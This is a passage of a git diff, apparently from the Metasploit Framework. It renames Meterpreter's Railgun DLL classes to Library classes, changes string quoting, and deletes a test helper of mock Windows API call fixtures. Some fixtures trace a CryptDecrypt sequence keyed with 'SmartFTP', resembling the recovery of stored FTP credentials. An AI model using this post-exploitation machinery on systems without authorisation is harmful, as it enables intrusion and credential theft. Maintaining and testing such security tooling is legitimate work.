-        return_hash["return"] = (rec_return_value != 0)
-      when "VOID"
-        return_hash["return"] = nil
+      when 'DWORD'
+        return_hash['return'] = rec_return_value % 4294967296
+      when 'WORD'
+        return_hash['return'] = rec_return_value % 65536
+      when 'BYTE'
+        return_hash['return'] = rec_return_value % 256
+      when 'BOOL'
+        return_hash['return'] = (rec_return_value != 0)
+      when 'VOID'
+        return_hash['return'] = nil
       else
         raise "unexpected return type: #{function.return_type}"
     end
@@ -321,16 +323,16 @@ class DLL
       #puts "   #{param_name}"
       buffer = rec_out_only_buffers[buffer_item.addr, buffer_item.length_in_bytes]
       case buffer_item.datatype
-        when "PDWORD"
+        when 'PDWORD'
           # PDWORD is treated as a POINTER
           return_hash[param_name] = buffer.unpack(native).first
           # If PDWORD is treated correctly as a DWORD
           return_hash[param_name] = buffer.unpack('V').first if return_hash[param_name].nil?
-        when "PCHAR"
+        when 'PCHAR'
           return_hash[param_name] = asciiz_to_str(buffer)
-        when "PWCHAR"
+        when 'PWCHAR'
           return_hash[param_name] = uniz_to_str(buffer)
-        when "PBLOB"
+        when 'PBLOB'
           return_hash[param_name] = buffer
         else
           raise "unexpected type in out-only buffer of #{param_name}: #{buffer_item.datatype}"
@@ -344,16 +346,16 @@ class DLL
       #puts "   #{param_name}"
       buffer = rec_inout_buffers[buffer_item.addr, buffer_item.length_in_bytes]
       case buffer_item.datatype
-        when "PDWORD"
+        when 'PDWORD'
           # PDWORD is treated as a POINTER
           return_hash[param_name] = buffer.unpack(native).first
           # If PDWORD is treated correctly as a DWORD
           return_hash[param_name] = buffer.unpack('V').first if return_hash[param_name].nil?
-        when "PCHAR"
+        when 'PCHAR'
           return_hash[param_name] = asciiz_to_str(buffer)
-        when "PWCHAR"
+        when 'PWCHAR'
           return_hash[param_name] = uniz_to_str(buffer)
-        when "PBLOB"
+        when 'PBLOB'
           return_hash[param_name] = buffer
         else
           raise "unexpected type in in-out-buffer of #{param_name}: #{buffer_item.datatype}"
@@ -369,14 +371,14 @@ class DLL
 #			:name => '#{function.remote_name}',
 #			:params => #{function.params},
 #			:return_type => '#{function.return_type}',
-#			:dll_name => '#{@dll_path}',
+#			:library_name => '#{@library_path}',
 #			:ruby_args => #{args.inspect},
 #			:request_to_client => {
 #				TLV_TYPE_RAILGUN_SIZE_OUT => #{out_only_size_bytes},
 #				TLV_TYPE_RAILGUN_STACKBLOB => #{literal_pairs_blob.inspect},
 #				TLV_TYPE_RAILGUN_BUFFERBLOB_IN => #{in_only_buffer.inspect},
 #				TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT => #{inout_buffer.inspect},
-#				TLV_TYPE_RAILGUN_DLLNAME => '#{@dll_path}',
+#				TLV_TYPE_RAILGUN_LIBNAME => '#{@library_path}',
 #				TLV_TYPE_RAILGUN_FUNCNAME => '#{function.remote_name}',
 #			},
 #			:response_from_client => {
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_function.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/library_function.rb
similarity index 85%
rename from lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_function.rb
rename to lib/rex/post/meterpreter/extensions/stdapi/railgun/library_function.rb
index 9b5827f909..ecff313b08 100644
--- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_function.rb
+++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/library_function.rb
@@ -33,29 +33,29 @@ module Railgun
 #
 # represents one function, e.g. MessageBoxW
 #
-class DLLFunction
+class LibraryFunction
   @@allowed_datatypes = {
-    "VOID"   => ["return"],
-    "BOOL"   => ["in", "return"],
-    "DWORD"  => ["in", "return"],
-    "WORD"   => ["in", "return"],
-    "BYTE"   => ["in", "return"],
-    "LPVOID" => ["in", "return"], # sf: for specifying a memory address (e.g. VirtualAlloc/HeapAlloc/...) where we don't want to back it up with actual mem ala PBLOB
-    "HANDLE" => ["in", "return"],
-    "SIZE_T" => ["in", "return"],
-    "PDWORD" => ["in", "out", "inout"], # todo: support for functions that return pointers to strings
-    "PWCHAR" => ["in", "out", "inout"],
-    "PCHAR"  => ["in", "out", "inout"],
-    "PBLOB"  => ["in", "out", "inout"],
+    'VOID'   => ['return'],
+    'BOOL'   => ['in', 'return'],
+    'DWORD'  => ['in', 'return'],
+    'WORD'   => ['in', 'return'],
+    'BYTE'   => ['in', 'return'],
+    'LPVOID' => ['in', 'return'], # sf: for specifying a memory address (e.g. VirtualAlloc/HeapAlloc/...) where we don't want to back it up with actual mem ala PBLOB
+    'HANDLE' => ['in', 'return'],
+    'SIZE_T' => ['in', 'return'],
+    'PDWORD' => ['in', 'out', 'inout'], # todo: support for functions that return pointers to strings
+    'PWCHAR' => ['in', 'out', 'inout'],
+    'PCHAR'  => ['in', 'out', 'inout'],
+    'PBLOB'  => ['in', 'out', 'inout'],
   }.freeze
 
-  @@allowed_convs = ["stdcall", "cdecl"]
+  @@allowed_convs = ['stdcall', 'cdecl']
 
-  @@directions = ["in", "out", "inout", "return"].freeze
+  @@directions = ['in', 'out', 'inout', 'return'].freeze
 
   attr_reader :return_type,  :params, :remote_name, :calling_conv
 
-  def initialize(return_type, params, remote_name, calling_conv="stdcall")
+  def initialize(return_type, params, remote_name, calling_conv='stdcall')
     check_return_type(return_type) # we do error checking as early as possible so the library is easier to use
     check_params(params)
     check_calling_conv(calling_conv)
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_helper.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/library_helper.rb
similarity index 99%
rename from lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_helper.rb
rename to lib/rex/post/meterpreter/extensions/stdapi/railgun/library_helper.rb
index 4320f9155f..e5df54b707 100644
--- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_helper.rb
+++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/library_helper.rb
@@ -34,7 +34,7 @@ module Railgun
 # shared functions
 #
 #
-module DLLHelper
+module LibraryHelper
 
   # converts ruby string to zero-terminated ASCII string
   def str_to_ascii_z(str)
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_wrapper.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/library_wrapper.rb
similarity index 66%
rename from lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_wrapper.rb
rename to lib/rex/post/meterpreter/extensions/stdapi/railgun/library_wrapper.rb
index dc22449a74..79f45ee766 100644
--- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_wrapper.rb
+++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/library_wrapper.rb
@@ -5,11 +5,12 @@ module Meterpreter
 module Extensions
 module Stdapi
 module Railgun
-class DLLWrapper
-  attr_reader :_client, :_dll
 
-  def initialize(dll, client)
-    @_dll    = dll
+class LibraryWrapper
+  attr_reader :_client, :_library
+
+  def initialize(library, client)
+    @_library    = library
     @_client = client
   end
 
@@ -17,11 +18,12 @@ class DLLWrapper
   # XXX: Depricate this
   def functions
     # warn 'Depricated.'
-    _dll.functions
+    _library.functions
   end
 
   def method_missing(sym, *args)
-    _dll.call_function(sym, args, _client)
+    _library.call_function(sym, args, _client)
   end
 end
+
 end; end; end; end; end; end
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/mock_magic.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/mock_magic.rb
deleted file mode 100644
index 97d2db75f5..0000000000
--- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/mock_magic.rb
+++ /dev/null
@@ -1,515 +0,0 @@
-# -*- coding: binary -*-
-module Rex
-module Post
-module Meterpreter
-module Extensions
-module Stdapi
-module Railgun
-
-require 'rex/post/meterpreter/extensions/stdapi/railgun/tlv'
-
-#
-# This mixin serves as a means of providing common mock objects and utilities
-# relevant to railgun until a better home is decided upon
-#
-module MockMagic
-
-  TLV_TYPE_NAMES = {
-    TLV_TYPE_RAILGUN_SIZE_OUT => "TLV_TYPE_RAILGUN_SIZE_OUT",
-    TLV_TYPE_RAILGUN_STACKBLOB => "TLV_TYPE_RAILGUN_STACKBLOB",
-    TLV_TYPE_RAILGUN_BUFFERBLOB_IN => "TLV_TYPE_RAILGUN_BUFFERBLOB_IN",
-    TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT => "TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT",
-    TLV_TYPE_RAILGUN_DLLNAME => "TLV_TYPE_RAILGUN_DLLNAME",
-    TLV_TYPE_RAILGUN_FUNCNAME => "TLV_TYPE_RAILGUN_FUNCNAME",
-  }
-
-  class MockRailgunClient
-    attr_reader :platform, :check_request, :response_tlvs
-
-    def initialize(platform, response_tlvs, check_request)
-      @check_request = check_request
-      @response_tlvs = response_tlvs
-      @platform = platform
-    end
-
-    def send_request(request)
-      check_request.call(request)
-
-      (Class.new do
-        def initialize(response_tlvs)
-          @response_tlvs = response_tlvs
-        end
-        def get_tlv_value(type)
-          return @response_tlvs[type]
-        end
-      end).new(@response_tlvs)
-    end
-  end
-
-  def make_mock_client(platform = "x86/windows", target_request_tlvs = [], response_tlvs = [])
-    check_request = lambda do |request|
-      target_request_tlvs.each_pair do |type, target_value|
-        assert_equal(target_value, request.get_tlv_value(type),
-          "process_function_call should send to client appropriate #{TLV_TYPE_NAMES[type]}")
-      end
-    end
-
-    return  MockRailgunClient.new(platform, response_tlvs, check_request)
-  end
-
-  # These are sample descriptions of functions to use for testing.
-  # the definitions include everything needed to mock and end to end test
-  def mock_function_descriptions
-    [
-      {
-        :platform => "x86/windows",
-        :name => "LookupAccountSidA",
-        :params => [
-          ["PCHAR","lpSystemName","in"],
-          ["LPVOID","Sid","in"],
-          ["PCHAR","Name","out"],
-          ["PDWORD","cchName","inout"],
-          ["PCHAR","ReferencedDomainName","out"],
-          ["PDWORD","cchReferencedDomainName","inout"],
-          ["PBLOB","peUse","out"],
-        ],
-        :return_type => "BOOL",
-        :dll_name => "advapi32",
-        :ruby_args => [nil, 1371864, 100, 100, 100, 100, 1],
-        :request_to_client => {
-          TLV_TYPE_RAILGUN_SIZE_OUT => 201,
-          TLV_TYPE_RAILGUN_STACKBLOB => "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xD8\xEE\x14\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00d\x00\x00\x00\x03\x00\x00\x00\b\x00\x00\x00\x02\x00\x00\x00\xC8\x00\x00\x00",
-          TLV_TYPE_RAILGUN_BUFFERBLOB_IN => "",
-          TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT => "d\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\x00\x00\x00",
-          TLV_TYPE_RAILGUN_DLLNAME => "advapi32",
-          TLV_TYPE_RAILGUN_FUNCNAME => "LookupAccountSidA"
-        },
-        :response_from_client => {
-          TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT => "\x06\x00\x00\x00\x00\x00\x00\x00\f\x00\x00\x00\x00\x00\x00\x00",
-          TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT => "SYSTEM\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANT AUTHORITY\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x05",
-          TLV_TYPE_RAILGUN_BACK_RET => 1,
-          TLV_TYPE_RAILGUN_BACK_ERR => 997
-        },
-        :returned_hash => {
-          "GetLastError" => 997,
-          "return" => true,
-          "Name" => "SYSTEM",
-          "ReferencedDomainName" => "NT AUTHORITY",
-          "peUse" => "\x05",
-          "cchName" => 6,
-          "cchReferencedDomainName" => 12
-        },
-      },
-      {
-        :platform => 'x64/windows',
-        :name => 'LookupAccountSidA',
-        :params => [
-          ["PCHAR", "lpSystemName", "in"],
-          ["LPVOID", "Sid", "in"],
-          ["PCHAR", "Name", "out"],
-          ["PDWORD", "cchName", "inout"],
-          ["PCHAR", "ReferencedDomainName", "out"],
-          ["PDWORD", "cchReferencedDomainName", "inout"],
-          ["PBLOB", "peUse", "out"]
-        ],
-        :return_type => 'BOOL',
-        :dll_name => 'advapi32',
-        :ruby_args => [nil, 1631552, 100, 100, 100, 100, 1],
-        :request_to_client => {
-          TLV_TYPE_RAILGUN_SIZE_OUT => 201,
-          TLV_TYPE_RAILGUN_STACKBLOB => "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\xE5\x18\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\b\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xC8\x00\x00\x00\x00\x00\x00\x00",
-          TLV_TYPE_RAILGUN_BUFFERBLOB_IN => "",
-          TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT => "d\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\x00\x00\x00",
-          TLV_TYPE_RAILGUN_DLLNAME => 'advapi32',
-          TLV_TYPE_RAILGUN_FUNCNAME => 'LookupAccountSidA',
-        },
-        :response_from_client => {
-          TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT => "\x06\x00\x00\x00\x00\x00\x00\x00\f\x00\x00\x00\x00\x00\x00\x00",
-          TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT => "SYSTEM\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANT AUTHORITY\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x05",
-          TLV_TYPE_RAILGUN_BACK_RET => 1,
-          TLV_TYPE_RAILGUN_BACK_ERR => 0,
-        },
-        :returned_hash => {
-          "GetLastError"=>0,
-          "return"=>true,
-          "Name"=>"SYSTEM",
-          "ReferencedDomainName"=>"NT AUTHORITY",
-          "peUse"=>"\x05",
-          "cchName"=>6,
-          "cchReferencedDomainName"=>12
-        },
-      },
-      {
-        :platform => 'x86/windows',
-        :name => 'CryptAcquireContextW',
-        :params => [["PDWORD", "phProv", "out"], ["PWCHAR", "pszContainer", "in"], ["PWCHAR", "pszProvider", "in"], ["DWORD", "dwProvType", "in"], ["DWORD", "dwflags", "in"]],
-        :return_type => 'BOOL',
-        :dll_name => 'advapi32',
-        :ruby_args => [4, nil, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 4026531840],
-        :request_to_client => {
-          TLV_TYPE_RAILGUN_SIZE_OUT => 4,
-          TLV_TYPE_RAILGUN_STACKBLOB => "\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xF0",
-          TLV_TYPE_RAILGUN_BUFFERBLOB_IN => "M\x00i\x00c\x00r\x00o\x00s\x00o\x00f\x00t\x00 \x00E\x00n\x00h\x00a\x00n\x00c\x00e\x00d\x00 \x00C\x00r\x00y\x00p\x00t\x00o\x00g\x00r\x00a\x00p\x00h\x00i\x00c\x00 \x00P\x00r\x00o\x00v\x00i\x00d\x00e\x00r\x00 \x00v\x001\x00.\x000\x00\x00\x00\x00\x00",
-          TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT => "",
-          TLV_TYPE_RAILGUN_DLLNAME => 'advapi32',
-          TLV_TYPE_RAILGUN_FUNCNAME => 'CryptAcquireContextW',
-        },
-        :response_from_client => {
-          TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT => "",
-          TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT => "\xC8\xEB\x14\x00",
-          TLV_TYPE_RAILGUN_BACK_RET => 1,
-          TLV_TYPE_RAILGUN_BACK_ERR => 0,
-        },
-        :returned_hash => {"GetLastError"=>0, "return"=>true, "phProv"=>1371080},
-      },
-      {
-        :platform => 'x86/windows',
-        :name => 'CryptCreateHash',
-        :params => [["LPVOID", "hProv", "in"], ["DWORD", "Algid", "in"], ["LPVOID", "hKey", "in"], ["DWORD", "dwFlags", "in"], ["PDWORD", "phHash", "out"]],
-        :return_type => 'BOOL',
-        :dll_name => 'advapi32',
-        :ruby_args => [1371080, 32771, 0, 0, 4],
-        :request_to_client => {
-          TLV_TYPE_RAILGUN_SIZE_OUT => 4,
-          TLV_TYPE_RAILGUN_STACKBLOB => "\x00\x00\x00\x00\xC8\xEB\x14\x00\x00\x00\x00\x00\x03\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00",
-          TLV_TYPE_RAILGUN_BUFFERBLOB_IN => "",
-          TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT => "",
-          TLV_TYPE_RAILGUN_DLLNAME => 'advapi32',
-          TLV_TYPE_RAILGUN_FUNCNAME => 'CryptCreateHash',
-        },
-        :response_from_client => {
-          TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT => "",
-          TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT => "p\xEA\x14\x00",
-          TLV_TYPE_RAILGUN_BACK_RET => 1,
-          TLV_TYPE_RAILGUN_BACK_ERR => 0,
-        },
-        :returned_hash => {"GetLastError"=>0, "return"=>true, "phHash"=>1370736},
-      },
-      {
-        :platform => 'x86/windows',
-        :name => 'CryptHashData',
-        :params => [["LPVOID", "hHash", "in"], ["PWCHAR", "pbData", "in"], ["DWORD", "dwDataLen", "in"], ["DWORD", "dwFlags", "in"]],
-        :return_type => 'BOOL',
-        :dll_name => 'advapi32',
-        :ruby_args => [1370736, "SmartFTP", 16, 0],
-        :request_to_client => {
-          TLV_TYPE_RAILGUN_SIZE_OUT => 0,
-          TLV_TYPE_RAILGUN_STACKBLOB => "\x00\x00\x00\x00p\xEA\x14\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
-          TLV_TYPE_RAILGUN_BUFFERBLOB_IN => "S\x00m\x00a\x00r\x00t\x00F\x00T\x00P\x00\x00\x00\x00\x00\x00\x00\x00\x00",
-          TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT => "",
-          TLV_TYPE_RAILGUN_DLLNAME => 'advapi32',
-          TLV_TYPE_RAILGUN_FUNCNAME => 'CryptHashData',
-        },
-        :response_from_client => {
-          TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT => "",
-          TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT => "",
-          TLV_TYPE_RAILGUN_BACK_RET => 1,
-          TLV_TYPE_RAILGUN_BACK_ERR => 0,
-        },
-        :returned_hash => {"GetLastError"=>0, "return"=>true},
-      },
-      {
-        :platform => 'x86/windows',
-        :name => 'CryptDeriveKey',
-        :params => [["LPVOID", "hProv", "in"], ["DWORD", "Algid", "in"], ["LPVOID", "hBaseData", "in"], ["DWORD", "dwFlags", "in"], ["PDWORD", "phKey", "inout"]],
-        :return_type => 'BOOL',
-        :dll_name => 'advapi32',
-        :ruby_args => [1371080, 26625, 1370736, 8388608, 4],
-        :request_to_client => {
-          TLV_TYPE_RAILGUN_SIZE_OUT => 0,
-          TLV_TYPE_RAILGUN_STACKBLOB => "\x00\x00\x00\x00\xC8\xEB\x14\x00\x00\x00\x00\x00\x01h\x00\x00\x00\x00\x00\x00p\xEA\x14\x00\x00\x00\x00\x00\x00\x00\x80\x00\x03\x00\x00\x00\x00\x00\x00\x00",
-          TLV_TYPE_RAILGUN_BUFFERBLOB_IN => "",
-          TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT => "\x04\x00\x00\x00\x00\x00\x00\x00",
-          TLV_TYPE_RAILGUN_DLLNAME => 'advapi32',
-          TLV_TYPE_RAILGUN_FUNCNAME => 'CryptDeriveKey',
-        },
-        :response_from_client => {
-          TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT => "\xA0\x9C\x15\x00\x00\x00\x00\x00",
-          TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT => "",
-          TLV_TYPE_RAILGUN_BACK_RET => 1,
-          TLV_TYPE_RAILGUN_BACK_ERR => 0,
-        },
-        :returned_hash => {"GetLastError"=>0, "return"=>true, "phKey"=>1416352},
-      },
-      {
-        :platform => 'x86/windows',
-        :name => 'CryptDecrypt',
-        :params => [["LPVOID", "hKey", "in"], ["LPVOID", "hHash", "in"], ["BOOL", "Final", "in"], ["DWORD", "dwFlags", "in"], ["PBLOB", "pbData", "inout"], ["PDWORD", "pdwDataLen", "inout"]],
-        :return_type => 'BOOL',
-        :dll_name => 'advapi32',
-        :ruby_args => [1416352, 0, true, 0, "\x96\"\x83/\xCE|", 6],
-        :request_to_client => {
-          TLV_TYPE_RAILGUN_SIZE_OUT => 0,
-          TLV_TYPE_RAILGUN_STACKBLOB => "\x00\x00\x00\x00\xA0\x9C\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\b\x00\x00\x00",
-          TLV_TYPE_RAILGUN_BUFFERBLOB_IN => "",
-          TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT => "\x96\"\x83/\xCE|\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00",
-          TLV_TYPE_RAILGUN_DLLNAME => 'advapi32',
-          TLV_TYPE_RAILGUN_FUNCNAME => 'CryptDecrypt',
-        },
-        :response_from_client => {
-          TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT => "q\x00u\x00x\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00",
-          TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT => "",
-          TLV_TYPE_RAILGUN_BACK_RET => 1,
-          TLV_TYPE_RAILGUN_BACK_ERR => 0,
-        },
-        :returned_hash => {"GetLastError"=>0, "return"=>true, "pbData"=>"q\x00u\x00x\x00", "pdwDataLen"=>6},
-      },
-      {
-        :platform => 'x86/windows',
-        :name => 'CryptDestroyHash',
-        :params => [["LPVOID", "hHash", "in"]],
-        :return_type => 'BOOL',
-        :dll_name => 'advapi32',
-        :ruby_args => [1370736],
-        :request_to_client => {
-          TLV_TYPE_RAILGUN_SIZE_OUT => 0,
-          TLV_TYPE_RAILGUN_STACKBLOB => "\x00\x00\x00\x00p\xEA\x14\x00",
-          TLV_TYPE_RAILGUN_BUFFERBLOB_IN => "",
-          TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT => "",
-          TLV_TYPE_RAILGUN_DLLNAME => 'advapi32',
-          TLV_TYPE_RAILGUN_FUNCNAME => 'CryptDestroyHash',
-        },
-        :response_from_client => {
-          TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT => "",
-          TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT => "",
-          TLV_TYPE_RAILGUN_BACK_RET => 1,
-          TLV_TYPE_RAILGUN_BACK_ERR => 0,
-        },
-        :returned_hash => {"GetLastError"=>0, "return"=>true},
-      },
-      {
-        :platform => 'x86/windows',
-        :name => 'CryptDestroyKey',
-        :params => [["LPVOID", "hKey", "in"]],
-        :return_type => 'BOOL',
-        :dll_name => 'advapi32',
-        :ruby_args => [1416352],
-        :request_to_client => {
-          TLV_TYPE_RAILGUN_SIZE_OUT => 0,
-          TLV_TYPE_RAILGUN_STACKBLOB => "\x00\x00\x00\x00\xA0\x9C\x15\x00",
-          TLV_TYPE_RAILGUN_BUFFERBLOB_IN => "",
-          TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT => "",
-          TLV_TYPE_RAILGUN_DLLNAME => 'advapi32',
-          TLV_TYPE_RAILGUN_FUNCNAME => 'CryptDestroyKey',
-        },
-        :response_from_client => {
-          TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT => "",
-          TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT => "",
-          TLV_TYPE_RAILGUN_BACK_RET => 1,
-          TLV_TYPE_RAILGUN_BACK_ERR => 0,
-        },
-        :returned_hash => {"GetLastError"=>0, "return"=>true},
-      },
-      {
-        :platform => 'x86/windows',
-        :name => 'CryptReleaseContext',
-        :params => [["LPVOID", "hProv", "in"], ["DWORD", "dwFlags", "in"]],
-        :return_type => 'BOOL',
-        :dll_name => 'advapi32',
-        :ruby_args => [1371080, 0],
-        :request_to_client => {
-          TLV_TYPE_RAILGUN_SIZE_OUT => 0,
-          TLV_TYPE_RAILGUN_STACKBLOB => "\x00\x00\x00\x00\xC8\xEB\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00",
-          TLV_TYPE_RAILGUN_BUFFERBLOB_IN => "",
-          TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT => "",
-          TLV_TYPE_RAILGUN_DLLNAME => 'advapi32',
-          TLV_TYPE_RAILGUN_FUNCNAME => 'CryptReleaseContext',
-        },
-        :response_from_client => {
-          TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT => "",
-          TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT => "",
-          TLV_TYPE_RAILGUN_BACK_RET => 1,
-          TLV_TYPE_RAILGUN_BACK_ERR => 0,
-        },
-        :returned_hash => {"GetLastError"=>0, "return"=>true},
-      },
-      {
-        :platform => 'x64/windows',
-        :name => 'CryptAcquireContextW',
-        :params => [["PDWORD", "phProv", "out"], ["PWCHAR", "pszContainer", "in"], ["PWCHAR", "pszProvider", "in"], ["DWORD", "dwProvType", "in"], ["DWORD", "dwflags", "in"]],
-        :return_type => 'BOOL',
-        :dll_name => 'advapi32',
-        :ruby_args => [8, nil, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 4026531840],
-        :request_to_client => {
-          TLV_TYPE_RAILGUN_SIZE_OUT => 8,
-          TLV_TYPE_RAILGUN_STACKBLOB => "\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xF0\x00\x00\x00\x00",
-          TLV_TYPE_RAILGUN_BUFFERBLOB_IN => "M\x00i\x00c\x00r\x00o\x00s\x00o\x00f\x00t\x00 \x00E\x00n\x00h\x00a\x00n\x00c\x00e\x00d\x00 \x00C\x00r\x00y\x00p\x00t\x00o\x00g\x00r\x00a\x00p\x00h\x00i\x00c\x00 \x00P\x00r\x00o\x00v\x00i\x00d\x00e\x00r\x00 \x00v\x001\x00.\x000\x00\x00\x00\x00\x00",
-          TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT => "",
-          TLV_TYPE_RAILGUN_DLLNAME => 'advapi32',
-          TLV_TYPE_RAILGUN_FUNCNAME => 'CryptAcquireContextW',
-        },
-        :response_from_client => {
-          TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT => "",
-          TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT => "\x80\xCE\x1A\x00\x00\x00\x00\x00",
-          TLV_TYPE_RAILGUN_BACK_RET => 1,
-          TLV_TYPE_RAILGUN_BACK_ERR => 0,
-        },
-        :returned_hash => {"GetLastError"=>0, "return"=>true, "phProv"=>1756800},
-      },
-      {
-        :platform => 'x64/windows',
-        :name => 'CryptCreateHash',
-        :params => [["LPVOID", "hProv", "in"], ["DWORD", "Algid", "in"], ["LPVOID", "hKey", "in"], ["DWORD", "dwFlags", "in"], ["PDWORD", "phHash", "out"]],
-        :return_type => 'BOOL',
-        :dll_name => 'advapi32',
-        :ruby_args => [1756800, 32771, 0, 0, 8],
-        :request_to_client => {
-          TLV_TYPE_RAILGUN_SIZE_OUT => 8,
-          TLV_TYPE_RAILGUN_STACKBLOB => "\x00\x00\x00\x00\x00\x00\x00\x00\x80\xCE\x1A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
-          TLV_TYPE_RAILGUN_BUFFERBLOB_IN => "",
-          TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT => "",
-          TLV_TYPE_RAILGUN_DLLNAME => 'advapi32',
-          TLV_TYPE_RAILGUN_FUNCNAME => 'CryptCreateHash',
-        },
-        :response_from_client => {
-          TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT => "",
-          TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT => "\x00\xA3\x19\x00\x00\x00\x00\x00",
